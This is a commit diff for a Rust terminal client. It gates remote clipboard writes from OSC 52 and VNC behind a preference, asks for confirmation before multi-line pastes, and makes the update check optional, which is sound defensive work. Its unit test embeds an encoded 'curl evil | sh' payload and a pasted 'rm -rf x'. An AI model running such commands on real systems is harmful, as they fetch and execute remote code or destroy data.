feat: preferences for remote clipboard writes, multi-line paste confirmation and the launch update check
OSC 52 and VNC ServerCutText now go through one handler that honours 'allow remote clipboard' and always toasts the first line, so a silent clipboard swap can't set up a paste into another shell (SEC-20261012-010). Multi-line pastes into a terminal without bracketed paste ask first, with a preview (SEC-20261012-017). The launch-time update check can be turned off and the updater docs no longer claim it is opt-in; the unused GitHub fallback is removed (SEC-20261012-013, F15).
This commit is contained in:
+22
-2
@@ -70,6 +70,11 @@ pub enum Dialog {
|
||||
Broadcast {
|
||||
picks: Vec<(String, String, bool)>,
|
||||
},
|
||||
/// Multi-line paste into a terminal without bracketed paste.
|
||||
ConfirmPaste {
|
||||
session: String,
|
||||
text: String,
|
||||
},
|
||||
/// Guided help for an auth or host-key failure.
|
||||
Guided {
|
||||
session: String,
|
||||
@@ -188,7 +193,7 @@ impl App {
|
||||
app.s.success(format!("Imported your Alchementary Link data from {}", from.display()));
|
||||
}
|
||||
// Background update check, once per launch.
|
||||
if app.screenshot.is_none() {
|
||||
if app.screenshot.is_none() && app.s.prefs.check_for_updates {
|
||||
let svc2 = svc.clone();
|
||||
let ctx = cc.egui_ctx.clone();
|
||||
std::thread::spawn(move || {
|
||||
@@ -504,7 +509,7 @@ impl App {
|
||||
}
|
||||
}
|
||||
Event::VncFrame { .. } => {}
|
||||
Event::VncClipboard { text, .. } => self.s.ctx.copy_text(text),
|
||||
Event::VncClipboard { text, .. } => self.remote_clipboard(&text),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -728,6 +733,18 @@ impl App {
|
||||
}
|
||||
}
|
||||
|
||||
/// A remote host (OSC 52 or VNC) wants to set the clipboard: allowed per preference, and always
|
||||
/// announced so a silent swap can't set up a paste into another shell.
|
||||
pub fn remote_clipboard(&mut self, text: &str) {
|
||||
let first: String = text.lines().next().unwrap_or("").chars().take(60).collect();
|
||||
if self.s.prefs.allow_remote_clipboard {
|
||||
self.s.ctx.copy_text(text.into());
|
||||
self.s.info(format!("Remote host set the clipboard: {first}"));
|
||||
} else {
|
||||
self.s.info("Blocked a remote clipboard write (Settings → General to allow)");
|
||||
}
|
||||
}
|
||||
|
||||
pub fn toggle_broadcast(&mut self) {
|
||||
self.s.broadcast = !self.s.broadcast;
|
||||
if !self.s.broadcast {
|
||||
@@ -761,6 +778,9 @@ impl App {
|
||||
{
|
||||
let mut out = crate::terminal::TermResponse::default();
|
||||
t.paste(&text, &mut out);
|
||||
if let Some(text) = out.confirm_paste {
|
||||
self.dialog = Some(Dialog::ConfirmPaste { session: id.into(), text });
|
||||
}
|
||||
let input = out.input;
|
||||
self.send_input(id, &input);
|
||||
}
|
||||
|
||||
@@ -920,6 +920,35 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
|
||||
});
|
||||
});
|
||||
}
|
||||
Dialog::ConfirmPaste { session, text } => {
|
||||
let lines = text.lines().count();
|
||||
let preview: String = text.lines().take(12).collect::<Vec<_>>().join("\n");
|
||||
modal(ctx, "confirm-paste", 480.0, |ui| {
|
||||
ui.label(RichText::new("Paste multiple lines?").font(theme::semibold(15.0)));
|
||||
widgets::hint(ui, &format!("{lines} line(s) will run as commands as soon as they are pasted:"));
|
||||
egui::ScrollArea::vertical().max_height(220.0).show(ui, |ui| {
|
||||
ui.add(egui::Label::new(RichText::new(preview).monospace()).wrap());
|
||||
});
|
||||
if lines > 12 {
|
||||
widgets::hint(ui, &format!("… and {} more", lines - 12));
|
||||
}
|
||||
ui.add_space(6.0);
|
||||
ui.horizontal(|ui| {
|
||||
if widgets::primary(ui, icon::CHECK, "Paste").clicked() {
|
||||
if let Some(View::Terminal(t)) = app.s.panes.get_mut(session.as_str()).map(|p| &mut p.view) {
|
||||
let mut out = crate::terminal::TermResponse::default();
|
||||
t.paste_now(text, &mut out);
|
||||
let id = session.clone();
|
||||
app.send_input(&id, &out.input);
|
||||
}
|
||||
keep = false;
|
||||
}
|
||||
if ui.button("Cancel").clicked() || ctx.input(|i| i.key_pressed(Key::Escape)) {
|
||||
keep = false;
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
Dialog::Guided { session, title, body, known_hosts } => {
|
||||
let label = app.s.pane(session).map(|p| p.info.tab_name.clone()).unwrap_or_else(|| "Session".into());
|
||||
let profile_id = app.s.pane(session).map(|p| p.info.profile_id.clone()).unwrap_or_default();
|
||||
|
||||
@@ -248,6 +248,15 @@ impl Settings {
|
||||
field(ui, "Confirm on disconnect");
|
||||
ui.checkbox(&mut p.confirm_on_disconnect, "Ask before disconnecting sessions");
|
||||
ui.end_row();
|
||||
field(ui, "Remote clipboard");
|
||||
ui.checkbox(&mut p.allow_remote_clipboard, "Let remote hosts set the clipboard (OSC 52, VNC)");
|
||||
ui.end_row();
|
||||
field(ui, "Multi-line paste");
|
||||
ui.checkbox(&mut p.confirm_multiline_paste, "Ask before pasting several lines into a terminal");
|
||||
ui.end_row();
|
||||
field(ui, "Updates");
|
||||
ui.checkbox(&mut p.check_for_updates, "Check for updates at launch");
|
||||
ui.end_row();
|
||||
field(ui, "Status bar");
|
||||
ui.checkbox(&mut p.show_status_bar, "Show status bar");
|
||||
ui.end_row();
|
||||
|
||||
@@ -1122,7 +1122,8 @@ fn paste_files(s: &mut Shared, session: &str, paths: &[PathBuf]) {
|
||||
}
|
||||
if let Some(View::Terminal(term)) = s.panes.get_mut(session).map(|p| &mut p.view) {
|
||||
let mut out = crate::terminal::TermResponse::default();
|
||||
term.paste(&combined, &mut out);
|
||||
// The drop was already confirmed in its own dialog.
|
||||
term.paste_now(&combined, &mut out);
|
||||
s.request(Request::Write(session.into(), out.input));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -328,6 +328,7 @@ pub fn pane(app: &mut App, ui: &mut Ui, id: &str, rect: Rect) {
|
||||
find_bar(app, ui, term);
|
||||
}
|
||||
let theme = crate::terminal_themes::get(&theme_id);
|
||||
term.confirm_paste = app.s.prefs.confirm_multiline_paste;
|
||||
let r = term.ui(ui, theme, focused_tab);
|
||||
if pane.highlight_until > app.s.now {
|
||||
ui.painter().rect_stroke(rect.shrink(1.0), 0.0, Stroke::new(2.0, t.warning), egui::StrokeKind::Inside);
|
||||
@@ -379,6 +380,12 @@ fn terminal_response(app: &mut App, id: &str, r: TermResponse, local_exited: boo
|
||||
if r.bell {
|
||||
app.s.ctx.request_repaint();
|
||||
}
|
||||
if let Some(text) = r.clipboard {
|
||||
app.remote_clipboard(&text);
|
||||
}
|
||||
if let Some(text) = r.confirm_paste {
|
||||
app.dialog = Some(crate::app::Dialog::ConfirmPaste { session: id.into(), text });
|
||||
}
|
||||
if let Some(a) = r.menu {
|
||||
app.terminal_menu(id, a);
|
||||
}
|
||||
|
||||
@@ -52,6 +52,10 @@ pub struct TermResponse {
|
||||
pub title: Option<String>,
|
||||
pub bell: bool,
|
||||
pub focused: bool,
|
||||
/// Text the remote asked to put on the clipboard (OSC 52); the app applies its preference.
|
||||
pub clipboard: Option<String>,
|
||||
/// A paste held back for confirmation (see [`TermView::paste`]).
|
||||
pub confirm_paste: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, PartialEq, Eq, Default)]
|
||||
@@ -100,6 +104,8 @@ pub struct TermView {
|
||||
generation: u64,
|
||||
pub find: Option<Find>,
|
||||
focus_requested: bool,
|
||||
/// Hold back multi-line pastes that would run unbracketed (set from preferences each frame).
|
||||
pub confirm_paste: bool,
|
||||
}
|
||||
|
||||
const URL_RE: &str = r#"(?:https?|ftp)://[^\s<>"'`]+[^\s<>"'`.,;:!?)\]]"#;
|
||||
@@ -127,6 +133,7 @@ impl TermView {
|
||||
generation: 0,
|
||||
find: None,
|
||||
focus_requested: true,
|
||||
confirm_paste: false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -292,7 +299,7 @@ impl TermView {
|
||||
TermEvent::PtyWrite(s) => out.reply.extend_from_slice(s.as_bytes()),
|
||||
TermEvent::Title(t) => out.title = Some(t),
|
||||
TermEvent::Bell => out.bell = true,
|
||||
TermEvent::ClipboardStore(_, s) => ui.ctx().copy_text(s),
|
||||
TermEvent::ClipboardStore(_, s) => out.clipboard = Some(s),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
@@ -398,7 +405,17 @@ impl TermView {
|
||||
}
|
||||
}
|
||||
|
||||
/// Pastes `text`, or hands it back in `out.confirm_paste` when `confirm_paste` is set and the
|
||||
/// newlines would run each line immediately (no bracketed paste).
|
||||
pub fn paste(&mut self, text: &str, out: &mut TermResponse) {
|
||||
if self.confirm_paste && !self.term.mode().contains(TermMode::BRACKETED_PASTE) && text.contains(['\n', '\r']) {
|
||||
out.confirm_paste = Some(text.into());
|
||||
return;
|
||||
}
|
||||
self.paste_now(text, out);
|
||||
}
|
||||
|
||||
pub fn paste_now(&mut self, text: &str, out: &mut TermResponse) {
|
||||
let text = text.replace("\r\n", "\r").replace('\n', "\r");
|
||||
if self.term.mode().contains(TermMode::BRACKETED_PASTE) {
|
||||
out.input.extend_from_slice(b"\x1b[200~");
|
||||
@@ -855,6 +872,31 @@ mod tests {
|
||||
assert!(key_bytes(Key::A, none, TermMode::empty()).is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn remote_clipboard_and_multiline_paste_go_to_the_app() {
|
||||
let mut t = TermView::new(1000, 14.0, CursorStyle::Block);
|
||||
t.feed(b"\x1b]52;c;Y3VybCBldmlsIHwgc2g=\x07");
|
||||
let ctx = egui::Context::default();
|
||||
let mut out = None;
|
||||
let mut full = ctx.run_ui(Default::default(), |ui| out = Some(t.ui(ui, crate::terminal_themes::get("charcoal"), true)));
|
||||
full.textures_delta.clear();
|
||||
assert_eq!(out.unwrap().clipboard.as_deref(), Some("curl evil | sh"));
|
||||
assert!(!full.platform_output.commands.iter().any(|c| matches!(c, egui::OutputCommand::CopyText(_))), "the view must not touch the clipboard itself");
|
||||
|
||||
let mut out = TermResponse::default();
|
||||
t.confirm_paste = true;
|
||||
t.paste("ls\nrm -rf x\n", &mut out);
|
||||
assert!(out.input.is_empty());
|
||||
assert_eq!(out.confirm_paste.as_deref(), Some("ls\nrm -rf x\n"));
|
||||
let mut out = TermResponse::default();
|
||||
t.paste("one line", &mut out);
|
||||
assert_eq!(out.input, b"one line");
|
||||
t.feed(b"\x1b[?2004h");
|
||||
let mut out = TermResponse::default();
|
||||
t.paste("a\nb", &mut out);
|
||||
assert!(out.confirm_paste.is_none() && out.input.starts_with(b"\x1b[200~"), "bracketed paste needs no prompt");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn feeds_text_and_finds_it() {
|
||||
let mut t = TermView::new(1000, 14.0, CursorStyle::Block);
|
||||
|
||||
Reference in New Issue
Block a user